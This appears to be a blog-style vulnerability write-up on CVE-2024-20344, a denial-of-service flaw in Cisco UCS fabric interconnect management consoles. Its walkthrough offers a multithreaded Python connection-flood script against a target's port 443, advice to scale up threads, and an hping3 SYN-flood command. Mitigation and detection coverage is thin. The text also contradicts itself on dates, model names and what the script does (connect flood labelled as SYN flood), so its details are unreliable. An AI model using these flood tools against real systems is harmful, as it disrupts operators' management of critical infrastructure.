CVE-2024-20344 - Cisco UCS 640/650 Fabric Interconnect Denial-of-Service

Disclosure Date: June 2024
CVSS Score: 7.5 (High)
CVE ID: CVE-2024-20344

Background

Cisco UCS (Unified Computing System) fabric interconnects are backbone switches that unify LAN and SAN connections for Cisco servers. The 640 and 650 Series models are widely deployed in data centers for high-availability and low-latency infrastructure. In recent years, Cisco introduced Intersight Managed Mode (IMM) for these devices, bringing centralized control and visibility from the cloud. Unfortunately, a newly disclosed bug — CVE-2024-20344 — puts these critical devices at real risk.

Vulnerability Summary

CVE-2024-20344 stems from insufficient rate-limiting of incoming TCP connections on the Device Console UI. This web-based management panel is meant for trusted operators, but the process handling UI connections fails to throttle or filter a high rate of incoming connection attempts. An unauthenticated attacker can send a flood of TCP packets and crash the UI process, causing denial-of-service.

Attack Scenario

This is a Denial-of-Service (DoS) attack. The threat actor does not need credentials or special privileges; they simply send massive TCP packets to the device, overwhelming the process.

Loss of Management: Admins can't access the Device Console UI

- Operational Delay: Requires manual intervention for recovery, potentially disrupting business operations
- No data theft/modification – it's a stability attack, not a data breach.

Exploitation Walkthrough

Let’s look at how an attacker might exploit this in the real world.

1. Identify a Target

Recon the network to locate the management interface of a UCS 640/650 running in IM Mode. Standard management ports can include tcp/443, tcp/80, or custom.

2. Initiate Flood

You don’t need to complete a full connection or authenticate — just a spray of connection attempts is enough. Attack tools like hping3 or custom Python scripts work well.

Sample: Python TCP SYN Flood

import socket
import threading

target_ip = "TARGET_IP"
target_port = 443  # Management UI port

def dos():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((target_ip, target_port))
            s.close()
        except:
            pass

for i in range(100):  # Spawn 100 threads per attacker host
    t = threading.Thread(target=dos)
    t.start()

Replace TARGET_IP with the Device Console UI address.

- Increase threads/connections as network capacity allows.

Or with hping3

hping3 -S -p 443 --flood TARGET_IP

This command creates a TCP SYN flood to port 443.

Management access lost until a manual reload is performed

Cisco Advisory:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucsfi-dos-SQwB7Gsb

NIST NVD Entry:

https://nvd.nist.gov/vuln/detail/CVE-2024-20344

No patch yet released.

- Cisco recommends restricting access to the Device Console UI to trusted networks only (block incoming connections from untrusted networks/firewalls).

Spike in SYN packets without subsequent authentication.

- Syslog Errors/Process crashes in management daemon logs.

Conclusion

CVE-2024-20344 is significant due to its ease of exploitation and potential to disrupt critical infrastructure management. While no remote code execution is possible, the impact is high in environments where management access is vital. All admins with Cisco UCS 640/650 in IMM should restrict management UI exposure and monitor for connection flooding until Cisco delivers a patch.

For technical assistance, refer to Cisco TAC, or join the discussion on Reddit’s r/networking for community defenses and incident handling tips.

Timeline

Published on: 02/29/2024 01:43:59 UTC
Last modified on: 02/29/2024 13:49:29 UTC